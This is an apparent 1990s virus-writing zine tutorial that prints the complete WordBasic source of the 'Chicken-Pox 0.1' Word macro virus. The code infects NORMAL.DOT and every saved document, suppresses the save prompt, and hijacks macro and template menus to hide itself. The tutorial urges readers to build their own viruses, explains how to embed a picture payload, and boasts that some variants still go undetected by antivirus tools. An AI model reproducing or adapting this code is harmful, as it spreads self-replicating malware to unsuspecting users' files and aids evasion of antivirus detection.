ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
        	           [³Art On Macro Virii³]   
                	    ßßßßßßßßßßßßßßßßßßßß
               		      by fOX'z NoMercy


Greeting to:
 SLAM MEMBERS (DarkChasm and friends)
 VBB  MEMBERS (Pyro and friends)
 Cicatrix     (The Major Collector)
 Indonesian Macro Virii Creator
 
------------------
 Tools/parts you needed:
	- A computer with keyboard and Rat
	- Windows 3.xx or Win9x
	- WinWord 6
	- Piece of Graphic
	- Your brain
	- Chicken-Pox 0.1 or NoMercy ][ Macro Viruses (for samples)

******************************************	
CAPTURE I. Take a look the samples first.
******************************************  

  Open Chicken-Pox 0.1 don't "NoMercy ][" (too dangerous for you), take a look
what kind of art you can show up to your victim(s). Try Open ToolsMacro or some
thing else for tracking Macro, did you see the art?, other way set your comp.
date to 1 or 31. How it's work ??... 

********************************
CAPTURE ][.Make Your Own Macro.
********************************
  This is Macro From Chicken-Pox 0.1 that created by CVCK 
==============
AutoOpen
==============
'--------------------------------------------
' Created using CVCK v.01 b 
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$
Sub MAIN
DisableAutoMacros 0			'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
If Cins = 0 Then
	Call infect
	Call CopyPic  'HERE THE ART BEGIN !!! (copy pict from virus to NORMAL.DOT)
EndIf
Call ActionDate
End Sub

Function Cins
Cins = 0
If CountMacros(0) <> 0 Then
For i = 1 To CountMacros(0)
  	If MacroName$(i, 0) = "Action" Then
		Cins = 1
	EndIf
Next i
EndIf
End Function

Sub infect
suc = CM("AutoExec", "DefeatAV")
suc = CM("AutoOpen", "StdOpen")
suc = CM("stdClose", "AutoClose")
suc = CM("ActionDate", "ActionDate")
suc = CM("Action", "Action")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
End Sub

Sub CopyPic
normal$ = MacroFileName$("DefeatAV") 'check on normal if found let it be if no copy it
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
End Sub

Function CM(CMN$, SMN$)
cfn$ = FileName$()
		MacroCopy cfn$ + ":" + CMN$, Ü
 		"Global:" + SMN$
CM = 1
End Function


===============
stdClose
===============
'--------------------------------------------
' Created using CVCK v.01 b 
'(C)CrazybitS 1997, Yogyakarta, Indonesia
'--------------------------------------------
Dim Shared fn$, Normal$

Sub MAIN
DisableAutoMacros 0			'Enables auto macro
ToolsOptionsSave .GlobalDotPrompt = 0'disbled prompt saving normal dot
fn$ = FileName$()
Normal$ = MacroFileName$("DefeatAV")
If Cins = 0 Then
	Call infect
EndIf
End Sub

Function Cins
Cins = 0
If CountMacros(1) <> 0	Then	'active template
For i = 1 To CountMacros(1)	'active template
  	If MacroName$(i, 1) = "Action" Then
		Cins = 1
	EndIf
Next i
EndIf
End Function

Sub infect
succ = CM("DefeatAV", "AutoExec")
succ = CM("StdOpen", "AutoOpen")
succ = CM("AutoClose", "stdClose")
succ = CM("Action", "Action")
succ = CM("ActionDate", "ActionDate")
suc = CM("Action2", "Action2")
suc = CM("FileTemplates", "FileTemplates")
suc = CM("ToolsMacro", "ToolsMacro")
suc = CM("ToolsCustomize", "ToolsCustomize")
suc = CM("Organizer", "Organizer")
suc = CM("HelpAbout", "HelpAbout")
	SaveIt
	CopyPic   'HERE THE ART BEGIN ! (Copy from NORMAL.DOT to Filesave/Newdoc)
	SaveIt
End Sub

Sub SaveIt
Fn$ = FileName$()
Dim Dlg As FileSaveAs
	If (Dlg.Format <> 1) Then
		FileSaveAs .Format = 1', .AddToMru = 0
		FileSave
	Else
		FileSave
	EndIf
End Sub

Sub CopyPic
Fn$ = FileName$() 'New doc/Filesave
Fm$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT if found copy it, if no ignore
Organizer .Copy, .Source = fm$, .Destination = Fn$, .Name = "Chicken", .Tab = 1
End Sub


Function CM(CMN$, SMN$)
cfn$ = FileName$()
		MacroCopy "Global:" + CMN$, Ü
 		cfn$ + ":" + SMN$
CM = 1
End Function


=============
HelpAbout
=============
Sub MAIN
Begin Dialog UserDialog 514, 388, "About Us (CrazybitS)"
	Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
	PushButton 137, 343, 269, 26, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
	Text 41, 83, 417, 53, "Hello there.......,                                                    After a month we learning WordBasic Macro Language we has finisihed Our Constructions Kit and we named CVCK V0.2 (CrazybitS Virii Constructions Kits)", .Text1
	Text 41, 140, 417, 55, "Before we make Our Own Construction we (myself and mybrother) make our Virii manually, after we got idea why we don't make own construction kit like NJWMVCK or anything else.", .Text2
		Text 43, 197, 415, 27, "Finally we did it, and we love it!.                               Some Virii from Us :                              ", .Text3
		Text 96, 227, 253, 13, "1. NoMercy (kown as ShowOff.G)", .Text5
		Text 96, 242, 61,  13, "2. Ririn ", .Text6
		Text 96, 257, 169, 13, "3. 10face (DasaMuka)", .Text7
		Text 96, 273, 300, 13, "4. No Mercy ][ (the Madness continues)", .Text8
		Text 96, 292, 145, 13, "5. Chicken-Pox 0.1", .Text9
End Dialog
Dim Dlg As UserDialog
Dialog Dlg	
End Sub


================
ToolsMacro, FileTemplates, Organizer, ToolsCustomize
======================================================
Sub MAIN
Begin Dialog UserDialog 514, 226, "Chicken say ........."
	Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
	PushButton 137, 195, 269, 21, "[pox-poX-pOX-POX-POx-Pox-pox]", .Push2
	Text 41, 83, 417, 36, "Hello there......., this command was blocked by Chicken Pox Macro Virii", .Text1
	Text 41, 118, 417, 29, "This is sample from Our Generator Virii, we named our generator CVCK V0.2. It's very user friendly !, try it !", .Text2
	Text 41, 156, 417, 26, "This Virii is not Dangerous !, If you want try our CVCK V0.2 email Us on " + Chr$(34) + "nomercy12@hotmail.com" + Chr$(34), .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg	
End Sub



========
Action
========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'check on NORMAL.DOT
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1
Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
	Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
	OKButton 208, 194, 88, 21
	Text 41, 83, 417, 36, "On April 1997, after No Mercy ][ was launched......... Chicken-Pox 0.1 released for continues my madness about macro viruses", .Text1
	Text 41, 125, 417, 29, "Once again  from the dark side of Yogya City a new macro virus was born !", .Text2
	Text 41, 156, 417, 27, "This is sample from CVCK. Its easy. Try it !. This Virii are not Dangerous!", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg	
End Sub


=========
Action2
=========
Sub MAIN
normal$ = MacroFileName$("DefeatAV") 'Check on NORMAL.DOC
Organizer .Copy, .Source = FileName$(), .Destination = normal$, .Name = "Chicken", .Tab = 1

Begin Dialog UserDialog 514, 226, "[pox-poX-pOX-POX-POx-Pox-pox]"
	Picture 10, 6, 496, 67, "Chicken", 1, .Picture1
	PushButton 103, 189, 280, 21, "pox-poX-pOX-P&OX-POx-Pox-pox", .Push1
	Text 41, 83, 417, 36, "Greeting to everyone who " + Chr$(34) + "Love Virii" + Chr$(34) + ", the " + Chr$(34) + "Maker of Virii" + Chr$(34) + " or who " + Chr$(34) + "collector of Virii" + Chr$(34) + " and specially to YOU ", .Text1
	Text 41, 119, 417, 29, "This is sample from CVCK 0.2, our Virii Generator after one month in Macro ! (March-April '97)", .Text2
	Text 41, 156, 417, 27, "Send me  email on " + Chr$(34) + "nomercy12@hotmail.com" + Chr$(34) + " if you want try CVCK V0.2, don't worry this CVCK is FREE !", .Text3
End Dialog
Dim Dlg As UserDialog
Dialog Dlg	
End Sub


===========
ActionDate
===========
Sub MAIN
If Day(Now()) = 11 Then
ToolsMacro .Name = "Action", .Run
EndIf
If Day(Now()) = 31 Then
ToolsMacro .Name = "Action2", .Run
EndIf
End Sub
===
  That the source code from Chicken Pox, now make your own macro virus.
Be creative! and lets go f*****g  ! 


**************************
]I[. How to make Picture
**************************

  If you already have a picture (any format e.i gif) you can start now. 
here like this way
- insert picture, 
- then select that picture, 
- goto edit autotext fill with  name you like 
  (in Chiken-Pox pic named with "Chicken") 
- then push add button
- delete that pict
- try type what you named your pict before and press F3
- if you see your pict, that mean you already have an autotext 

******************
IV. Try CVCK 0.1b
******************

  After one month in Macro..... finally we did it !, that CVCK very easy,
finally I say :
  "More people know your ability..... More enemy will you get!"

  
 
comment, idea or something else please contact me at 
        	 nomercy12@hotmail.com
BTW... my old address still active (if you know!)


                    ---[ nomercy12@hotmail.com ]---

==========================] T H E    E N D  [==============================
also visir NoMercy Online
http://www.geocities.com/ResearchTriangle/3996
























Wait next issue !























Hey wake Up!
























again?



















are you mad?




















no thing to do




















STOP!!






















Our Logo !  (what's you think)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞ
ßßßÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞ
ÞßßßÞÞÞÞÞÞÞßÞÞÞÞÞÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞ
ÞßßßßÞÞÞÞÞÞßÞÞÞÞÞÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞ
ÞßÞßßßÞÞÞÞÞßÞÞÞÞÞÞÞÞÞÞÞÞÞßÞßßÞÞÞÞÞÞßÞßßÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞ
ÞßÞÞßßÞÞÞÞÞßÞÞÞÞÞßßßßÞÞÞÞßÞßßÞÞÞÞÞÞßÞßßÞÞÞÞßßßßßÞÞÞßßßÞÞßßÞÞßßßßßÞÞßßßßÞÞÞßßß
ÞßÞÞÞßßÞÞÞÞßÞÞÞßßÞÞÞßßÞÞÞßÞÞßßÞÞÞÞßÞÞßßÞÞÞßßÞÞÞßßÞÞÞßßÞßßßÞßßÞÞÞßßÞÞßßÞÞÞÞÞßÞ
ÞßÞÞÞßßßÞÞÞßÞÞÞßÞÞÞÞÞßßÞÞßÞÞßßÞÞÞÞßÞÞßßÞÞÞßÞÞÞÞÞßßÞÞßßßÞÞÞÞßÞÞÞÞÞÞÞÞßßÞÞÞÞÞßÞ
ÞßÞÞÞÞßßßÞÞßÞÞßßÞÞÞÞÞßßÞÞßÞÞÞßßÞÞßÞÞÞßßÞÞßßÞÞÞÞÞßßÞÞßßÞÞÞÞßßÞÞÞÞÞÞÞÞÞßßÞÞÞßÞÞ
ÞßÞÞÞÞÞßßÞÞßÞÞßßÞÞÞÞÞßßÞÞßÞÞÞßßÞÞßÞÞÞßßÞÞßßßßßßßßßÞÞßßÞÞÞÞßßÞÞÞÞÞÞÞÞÞßßÞÞÞßÞÞ
ÞßÞÞÞÞÞÞßßÞßÞÞßßÞÞÞÞÞßßÞÞßÞÞÞÞßßßÞÞÞÞßßÞÞßßÞÞÞÞÞÞÞÞÞßßÞÞÞÞßßÞÞÞÞÞÞÞÞÞÞßßÞßÞÞÞ
ÞßÞÞÞÞÞÞßßßßÞÞßßÞÞÞÞÞßÞÞÞßÞÞÞÞßßßÞÞÞÞßßÞÞßßßÞÞÞÞÞÞÞÞßßÞÞÞÞßßßÞÞÞÞÞÞÞÞÞßßÞßÞÞÞ
ÞßÞÞÞÞÞÞÞßßßÞÞÞßßÞÞÞßßÞÞÞßÞÞÞÞÞßÞÞÞÞÞßßÞÞÞßßßÞÞÞÞßÞÞßßÞÞÞÞÞßßßÞÞÞßÞÞÞÞÞßßÞÞÞÞ
ßßßÞÞÞÞÞÞÞßßÞÞÞÞßßßßÞÞÞÞßßßÞÞÞÞßÞÞÞÞßßßßÞÞÞßßßßßßÞÞßßßßÞÞÞÞÞßßßßßÞÞÞÞÞÞßßÞÞÞÞ
ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞßÞÞÞÞÞ
ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞßÞÞÞÞÞ
ÞÞÞÞÞÞÞÞ(c) The NomercyÞ '97ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞßÞÞÞÞÞÞ 
ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞßßßÞÞÞÞÞÞÞ
ÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞÞßßÞÞÞÞÞÞÞÞ
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





























































Mmmmmmmm






















P.S
  After one month in Macro..... here the viruses we product !
- NoMercy 1.7b 			      -> scaned as ShowOff.G
- Ririn (Beyond the NoMercy) 	      -> scaned as ShowOff.R
- 10Faces (DasaMuka)     	      -> scaned as Mercy.A
- NoMercy ][ (the Madness Continues)  -> when the author write this issue, 
					 still unscan!
- Chicken-Pox 0.1		      -> when the author write this issue, 
					 still unscan!
- Chicken Ass (coming soon)	      -> we make new when the old was 
 	                  	         scaned! \:)